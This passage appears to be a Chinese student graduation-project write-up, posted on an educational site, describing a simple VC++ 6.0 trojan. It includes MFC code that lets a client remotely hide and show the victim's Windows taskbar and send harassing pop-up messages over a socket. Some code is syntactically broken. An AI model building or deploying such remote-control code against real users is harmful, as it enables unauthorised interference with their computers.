以下是网学网为您推荐的VC与C++类别-VC++ 6.0为开发平台设计的一个简单的木马程序,希望本篇文章对您学习有所帮助。
客服咨询,网学网竭诚为您服务,本站永久域名:myeducs.cn |
1.1.1 隐藏并开启任务栏当server与client连接以后,单击client的隐藏任务栏和开启任务栏按钮,就可以实现对server端任务栏的隐藏和开启的功能。这个功能的实现方式如下:client端点击“隐藏任务栏” ,并发送消息到server端。Server端通过添加HideTaskBar()函数来隐藏任务栏,添加UnHideTaskBar()函数来开启任务栏。隐藏任务栏和开启任务栏的具体效果如图3-7和3-8: 服务端核心代码: 隐藏任务栏HideTaskBar()函数具体实现如下: int CMainFrame::HideTaskBar() { CWnd *task; task = (CWnd*)FindWindow("Shell_TrayWnd", NULL); task->ShowWindow(SW_HIDE); return 0; } 开启任务栏UnHideTaskBar()函数具体实现如下: int CMainFrame::UnHideTaskBar() { CWnd *task; task = (CWnd*)FindWindow("Shell_TrayWnd", NULL); task->ShowWindow(SW_SHOW); return 0; } 客户端核心代码: 隐藏任务栏 void CClientDlg::OnHide() { CSocket sockClient; sockClient.Create(); CString ip,strError; m_ip.GetWindowText(ip); //获得IP int conn=sockClient.Connect(ip, PORT-1); if(conn==0) { AfxMessageBox("_SendMsgThread Connect错误!"+GetLastError()); sockClient.ShutDown(2); sockClient.Close(); AfxEndThread( } int end=0; end=sockClient.Send("H",FLAG); if(end==SOCKET_ERROR) { AfxMessageBox("_SendMsgThread Send错误!"+GetLastError()); } else if(end!=2) { AfxMessageBox("消息头错误"); } } 如果连接正确应该返回2 开启任务栏函数 void CClientDlg::OnOpen() { // TODO: Add your control notification handler code here CSocket sockClient; sockClient.Create(); CString ip,strError; m_ip.GetWindowText(ip); //获得IP int conn=sockClient.Connect(ip, PORT-1); if(conn==0) { AfxMessageBox("_SendMsgThread Connect错误!"+GetLastError()); sockClient.ShutDown(2); sockClient.Close(); AfxEndThread( } int end=0; end=sockClient.Send("O",FLAG); if(end==SOCKET_ERROR) { AfxMessageBox("_SendMsgThread Send错误!"+GetLastError()); } else if(end!=2) { AfxMessageBox("消息头错误"); } } 1.1.2 发送消息当server与client连接以后,在client的文本框中写入“你中木马了”,然后单击client的发送消息按钮,就可以将“你中木马了”发送到server端。Client可以不断向server端发送消息,来干扰server端用户的正常工作。Server接收到这条消息后通过调用API函数AfxMessageBox(),将“你中木马了”显示到屏幕上。
|
本站发布的计算机毕业设计均是完整无错的全套作品,包含开题报告+程序+论文+源代码+翻译+答辩稿PPT |
本文选自计算机毕业设计http://myeducs.cn |